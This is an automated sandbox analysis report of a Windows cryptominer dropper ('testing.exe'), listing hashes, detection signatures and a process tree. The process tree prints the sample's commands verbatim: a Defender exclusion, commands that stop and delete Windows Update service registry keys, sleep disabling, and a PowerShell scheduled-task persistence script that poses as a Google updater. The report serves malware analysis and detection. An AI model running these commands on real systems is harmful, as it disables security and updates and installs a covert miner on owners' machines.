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230329-1c2enaaa35 10Analysis
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max time kernel
612s -
max time network
1801s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
30-03-2023 18:59
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1304 created 1260 1304 testing.exe Explorer.EXE PID 1304 created 1260 1304 testing.exe Explorer.EXE PID 1304 created 1260 1304 testing.exe Explorer.EXE PID 1304 created 1260 1304 testing.exe Explorer.EXE PID 1304 created 1260 1304 testing.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE PID 1556 created 1260 1556 conhost.exe Explorer.EXE PID 876 created 1260 876 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/308-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-170-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-172-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-174-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-176-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/308-178-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 876 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1324 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/308-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-170-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-172-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-174-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-176-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/308-178-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 876 set thread context of 1556 876 updater.exe conhost.exe PID 876 set thread context of 308 876 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 804 sc.exe 1008 sc.exe 868 sc.exe 1452 sc.exe 948 sc.exe 552 sc.exe 1680 sc.exe 1536 sc.exe 784 sc.exe 1520 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1880 schtasks.exe 1212 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d03f22a44a63d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1304 testing.exe 1304 testing.exe 1224 powershell.exe 1304 testing.exe 1304 testing.exe 1304 testing.exe 1304 testing.exe 1304 testing.exe 1304 testing.exe 468 powershell.exe 1304 testing.exe 1304 testing.exe 1100 powershell.exe 876 updater.exe 876 updater.exe 1732 powershell.exe 876 updater.exe 876 updater.exe 876 updater.exe 876 updater.exe 876 updater.exe 876 updater.exe 1276 powershell.exe 876 updater.exe 876 updater.exe 876 updater.exe 876 updater.exe 1556 conhost.exe 1556 conhost.exe 876 updater.exe 876 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 460 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1224 powershell.exe Token: SeShutdownPrivilege 1772 powercfg.exe Token: SeShutdownPrivilege 784 powercfg.exe Token: SeShutdownPrivilege 1336 powercfg.exe Token: SeDebugPrivilege 468 powershell.exe Token: SeShutdownPrivilege 316 powercfg.exe Token: SeDebugPrivilege 1100 powershell.exe Token: SeDebugPrivilege 1732 powershell.exe Token: SeShutdownPrivilege 1172 powercfg.exe Token: SeShutdownPrivilege 1744 powercfg.exe Token: SeDebugPrivilege 1276 powershell.exe Token: SeShutdownPrivilege 608 powercfg.exe Token: SeShutdownPrivilege 1072 powercfg.exe Token: SeDebugPrivilege 876 updater.exe Token: SeAssignPrimaryTokenPrivilege 1756 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe Token: SeSecurityPrivilege 1756 WMIC.exe Token: SeTakeOwnershipPrivilege 1756 WMIC.exe Token: SeLoadDriverPrivilege 1756 WMIC.exe Token: SeSystemtimePrivilege 1756 WMIC.exe Token: SeBackupPrivilege 1756 WMIC.exe Token: SeRestorePrivilege 1756 WMIC.exe Token: SeShutdownPrivilege 1756 WMIC.exe Token: SeSystemEnvironmentPrivilege 1756 WMIC.exe Token: SeUndockPrivilege 1756 WMIC.exe Token: SeManageVolumePrivilege 1756 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1756 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe Token: SeSecurityPrivilege 1756 WMIC.exe Token: SeTakeOwnershipPrivilege 1756 WMIC.exe Token: SeLoadDriverPrivilege 1756 WMIC.exe Token: SeSystemtimePrivilege 1756 WMIC.exe Token: SeBackupPrivilege 1756 WMIC.exe Token: SeRestorePrivilege 1756 WMIC.exe Token: SeShutdownPrivilege 1756 WMIC.exe Token: SeSystemEnvironmentPrivilege 1756 WMIC.exe Token: SeUndockPrivilege 1756 WMIC.exe Token: SeManageVolumePrivilege 1756 WMIC.exe Token: SeLockMemoryPrivilege 308 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exepowershell.exepowershell.exetaskeng.execmd.execmd.exedescription pid process target process PID 928 wrote to memory of 1772 928 cmd.exe powercfg.exe PID 928 wrote to memory of 1772 928 cmd.exe powercfg.exe PID 928 wrote to memory of 1772 928 cmd.exe powercfg.exe PID 928 wrote to memory of 784 928 cmd.exe powercfg.exe PID 928 wrote to memory of 784 928 cmd.exe powercfg.exe PID 928 wrote to memory of 784 928 cmd.exe powercfg.exe PID 928 wrote to memory of 1336 928 cmd.exe powercfg.exe PID 928 wrote to memory of 1336 928 cmd.exe powercfg.exe PID 928 wrote to memory of 1336 928 cmd.exe powercfg.exe PID 928 wrote to memory of 316 928 cmd.exe powercfg.exe PID 928 wrote to memory of 316 928 cmd.exe powercfg.exe PID 928 wrote to memory of 316 928 cmd.exe powercfg.exe PID 268 wrote to memory of 868 268 cmd.exe sc.exe PID 268 wrote to memory of 868 268 cmd.exe sc.exe PID 268 wrote to memory of 868 268 cmd.exe sc.exe PID 268 wrote to memory of 1452 268 cmd.exe sc.exe PID 268 wrote to memory of 1452 268 cmd.exe sc.exe PID 268 wrote to memory of 1452 268 cmd.exe sc.exe PID 268 wrote to memory of 948 268 cmd.exe sc.exe PID 268 wrote to memory of 948 268 cmd.exe sc.exe PID 268 wrote to memory of 948 268 cmd.exe sc.exe PID 268 wrote to memory of 1680 268 cmd.exe sc.exe PID 268 wrote to memory of 1680 268 cmd.exe sc.exe PID 268 wrote to memory of 1680 268 cmd.exe sc.exe PID 268 wrote to memory of 552 268 cmd.exe sc.exe PID 268 wrote to memory of 552 268 cmd.exe sc.exe PID 268 wrote to memory of 552 268 cmd.exe sc.exe PID 268 wrote to memory of 1940 268 cmd.exe reg.exe PID 268 wrote to memory of 1940 268 cmd.exe reg.exe PID 268 wrote to memory of 1940 268 cmd.exe reg.exe PID 268 wrote to memory of 844 268 cmd.exe reg.exe PID 268 wrote to memory of 844 268 cmd.exe reg.exe PID 268 wrote to memory of 844 268 cmd.exe reg.exe PID 268 wrote to memory of 1552 268 cmd.exe reg.exe PID 268 wrote to memory of 1552 268 cmd.exe reg.exe PID 268 wrote to memory of 1552 268 cmd.exe reg.exe PID 268 wrote to memory of 1556 268 cmd.exe reg.exe PID 268 wrote to memory of 1556 268 cmd.exe reg.exe PID 268 wrote to memory of 1556 268 cmd.exe reg.exe PID 268 wrote to memory of 776 268 cmd.exe reg.exe PID 268 wrote to memory of 776 268 cmd.exe reg.exe PID 268 wrote to memory of 776 268 cmd.exe reg.exe PID 468 wrote to memory of 1880 468 powershell.exe schtasks.exe PID 468 wrote to memory of 1880 468 powershell.exe schtasks.exe PID 468 wrote to memory of 1880 468 powershell.exe schtasks.exe PID 1100 wrote to memory of 1620 1100 powershell.exe schtasks.exe PID 1100 wrote to memory of 1620 1100 powershell.exe schtasks.exe PID 1100 wrote to memory of 1620 1100 powershell.exe schtasks.exe PID 1324 wrote to memory of 876 1324 taskeng.exe updater.exe PID 1324 wrote to memory of 876 1324 taskeng.exe updater.exe PID 1324 wrote to memory of 876 1324 taskeng.exe updater.exe PID 1868 wrote to memory of 1172 1868 cmd.exe powercfg.exe PID 1868 wrote to memory of 1172 1868 cmd.exe powercfg.exe PID 1868 wrote to memory of 1172 1868 cmd.exe powercfg.exe PID 580 wrote to memory of 1536 580 cmd.exe sc.exe PID 580 wrote to memory of 1536 580 cmd.exe sc.exe PID 580 wrote to memory of 1536 580 cmd.exe sc.exe PID 580 wrote to memory of 804 580 cmd.exe sc.exe PID 580 wrote to memory of 804 580 cmd.exe sc.exe PID 580 wrote to memory of 804 580 cmd.exe sc.exe PID 580 wrote to memory of 784 580 cmd.exe sc.exe PID 580 wrote to memory of 784 580 cmd.exe sc.exe PID 580 wrote to memory of 784 580 cmd.exe sc.exe PID 1868 wrote to memory of 1744 1868 cmd.exe powercfg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {D477AD4D-E9AA-4F42-8A48-26FA041D8D38} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
